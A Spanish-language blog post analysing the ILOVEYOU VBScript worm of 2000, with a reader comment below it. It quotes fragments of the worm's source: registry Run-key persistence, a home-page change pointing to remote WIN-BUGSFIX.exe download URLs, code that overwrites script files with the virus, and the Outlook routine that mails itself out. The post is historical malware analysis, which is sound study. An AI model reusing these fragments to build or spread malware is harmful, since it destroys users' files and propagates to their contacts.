Seguro que muchos de ustédes se acordarán de hace años, un virus muy famoso conocido como IloveYou que se enviava mediante correo electrónico que simulava ser una carta de amor. Pues el objetivo de éste escrito es realizar un analisis de algúnas de las partes mas importantes de su codigo, programado en vbs, y con una técnica de programación bastante mediocre sin control de errores entre otras cosas.
El virus, al inicio de su codigo ya empieza mal, mediante una línea para evitar posibles situaciónes de error, en caso de existir un error sigue ejecutandose:
El virus, al inicio de su codigo ya empieza mal, mediante una línea para evitar posibles situaciónes de error, en caso de existir un error sigue ejecutandose:
On Error Resume Next
El virus, tiene una función que comprueba si el ordenador ya está infectado, leyendo unas claves en el registro de windows y en caso de no existír, crearlas, con esto se conseguirá iniciar cada vez que el ordenador infectado se encienda, además creará dos claves para iniciar dos archivos distíntos, además en la misma función aprovecha para modificar la página de inicio del navegador según 4 opciónes elegidas por un número al azar mediante la función "random":
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion
\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion
\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Mcft
\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Mcft\Internet Explorer\Main
\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytw
ertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Mcft\Internet Explorer\Main
\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjgh
KJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Mcft\Internet Explorer\Main
\Start Page","http://www.skyinet.net/~koichi/jf6TRjkc
bGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Mcft\Internet Explorer\Main
\Start Page","http://www.skyinet.net/~chu
/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasd
jhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX .exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate
"HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\Run\WIN-BUGSFIX",
downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Mcft\Internet Explorer\Main
\StartPage","about:blank"
end if
end sub
Por último, en la función que se utiliza para hacer las copias de las claves del registro, de una manera muy simple, se asegura de que almenos una copia se iniciará con windows, comprovando si exíste una copia del virus, y en caso de existír creando una clave del registro con esta ruta y copiandose con el nombre WIN-BUGSFIX.exe:
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\
Software\Mcft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
El código, también presenta, dos subrutinas para recorrer carpetas y las distíntas letras de las particiónes de disco que hay en el ordenador infectado, esto lo hace con el fin de poder infectar gran cantidad de archivos de todo tipo, ya sea documentos, musica, imágenes...para ello lee las extensiónes de los archivos que va encontrando, y según esta, realiza una o otra acción, por ejemplo aquí muestro un pequeño trozo de la parte de infección de archivos donde se copia en los archivos con extensión (js,jse,sct..):
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or
(ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
Su función mas importante, con la que se consiguió reproducir en miles de ordenadores, se llama spreadtoemail() donde el virus reconstruye el cuerpo de un mail para enviarse una vez un ordenador queda infectado, el cuerpo del email en la función es el siguiente, donde figura el emisor, asunto y el archivo adjunto, una copia de el mísmo.
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
También tiene otra función, que copia el codigo del virus en un archivo en formato html en una carpeta del ordenador, este archivo html, en distíntas versiónes del virus puede cambiar, pero en el caso de ejemplo que tengo contiene unas string codificadas en ascii, para no ser detectadas y utiliza funciónes como ONMOUSEON,ONKEYDOWN.. para realizar distíntas acciónes, por ejemplo la primera cuando se hace click en el documento, y la segunda cuando se presiona el boton de la flecha para abajo.
También en éste archivo html, el autor deja algúnas pruebas sobre el, quizá grácias entre otras cosas a estas, se pudo determinar la localización y posterior detención del autor, todo ello por un virus, que a dia de hoy no habría llegado nada lejos, pero que fué todo un ejemplo y caso de ingeniería social que llegó a infectar a millones de ordenadores de todo el mundo.
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "




viernes, enero 21, 2011
Albert López
Posted in: 

1 comentarios:
Un post realmente ilustrativo. Nosotros también hemos escrito sobre esto en nuestro blog. Te paso un link en que recordamos al inolvidable ILOVEYOU.
http://www.nortonfanclub.com/?p=438
¡Un saludo!
Publicar un comentario